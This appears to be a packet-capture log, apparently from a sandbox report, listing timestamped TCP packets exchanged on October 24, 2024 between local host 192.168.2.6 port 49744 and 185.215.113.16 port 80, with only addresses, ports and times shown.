Oct 24, 2024 18:08:23.771979094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.771982908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.772002935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.772021055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.772039890 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.772042036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.772061110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.772063017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.772080898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.772100925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.815140009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815186024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815191031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.815231085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815340996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815373898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815385103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.815421104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.815442085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815479040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815512896 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.815531015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815583944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815618038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815654039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.815677881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815713882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815747023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815756083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.815782070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815792084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.815815926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815853119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.815856934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.818059921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818095922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818110943 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.818130970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818260908 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.818496943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818548918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818602085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818634033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818639040 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.818670034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818670034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.818703890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818737984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818738937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.818769932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818804026 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.818804979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818870068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818923950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818959951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.818960905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819014072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819050074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819063902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819101095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819113970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819133043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819171906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819174051 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819221020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819253922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819295883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819309950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819369078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819411039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819449902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819500923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819535971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819542885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819567919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819600105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819606066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819634914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819641113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819668055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819700003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819706917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819734097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819766045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819775105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819801092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819838047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819865942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819879055 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819896936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819899082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819932938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819966078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.819972992 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.819998980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.820033073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.820039988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.820065975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.820099115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.820132017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.820138931 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.820164919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.820198059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.820204020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.820234060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.820240021 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.822031021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822087049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.822092056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822127104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822160959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822170019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.822196007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822228909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822263956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822272062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.822297096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822331905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822338104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.822365999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822372913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.822402954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.822443008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.852787018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.852880001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.852925062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.852933884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.852997065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.853032112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.853065968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.853072882 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.853101015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.853137016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.854374886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860001087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860044956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860054970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860061884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860106945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860121965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860138893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860141039 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860153913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860172033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860181093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860194921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860197067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860214949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860229969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860244989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860246897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860261917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860279083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860287905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860304117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860312939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860338926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860353947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860369921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860369921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860385895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860394001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860402107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860414982 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860430002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860445976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860460043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860475063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860476017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860491037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860500097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860508919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860523939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860523939 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860538960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860564947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860574007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860589981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860605001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860620022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860622883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860635042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860640049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860665083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860671043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860687017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860702038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860716105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860724926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860740900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860752106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860755920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860774040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860789061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860804081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860805988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860820055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860833883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860833883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860850096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860855103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860867023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860877037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860882044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860898018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860913992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860914946 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860929966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860944986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860949993 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.860963106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.860972881 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861021042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861054897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861068010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861083984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861171007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861186981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861202002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861203909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861223936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861263990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861279011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861294985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861310005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861310959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861330032 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861480951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861496925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861511946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861526966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861530066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861543894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861552954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861557961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861573935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861576080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861589909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861614943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861618042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861639977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861645937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861655951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861671925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861687899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861689091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861704111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861718893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861733913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861737013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861749887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861764908 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861766100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861782074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861783028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861798048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861814976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861829042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861830950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861845970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.861848116 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861884117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.861922026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862004042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862020969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862051010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.862163067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862179041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862200022 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.862204075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862219095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862234116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862250090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862251043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.862265110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862270117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.862279892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862294912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862303972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.862309933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862327099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862327099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.862343073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862360001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862363100 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.862377882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.862396955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.888964891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889023066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.889034033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889071941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889131069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889167070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889178038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.889200926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889209986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.889746904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889794111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.889802933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889838934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889873028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889905930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889913082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.889940023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889974117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.889980078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890007973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890016079 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890043020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890074968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890083075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890110016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890144110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890149117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890527964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890561104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890573025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890594959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890640974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890645981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890702009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890734911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890744925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890789986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890822887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890845060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890857935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890892029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890925884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890930891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890959978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.890974998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.890994072 CEST	80	49744	185.215.113.16	192.168.2.6
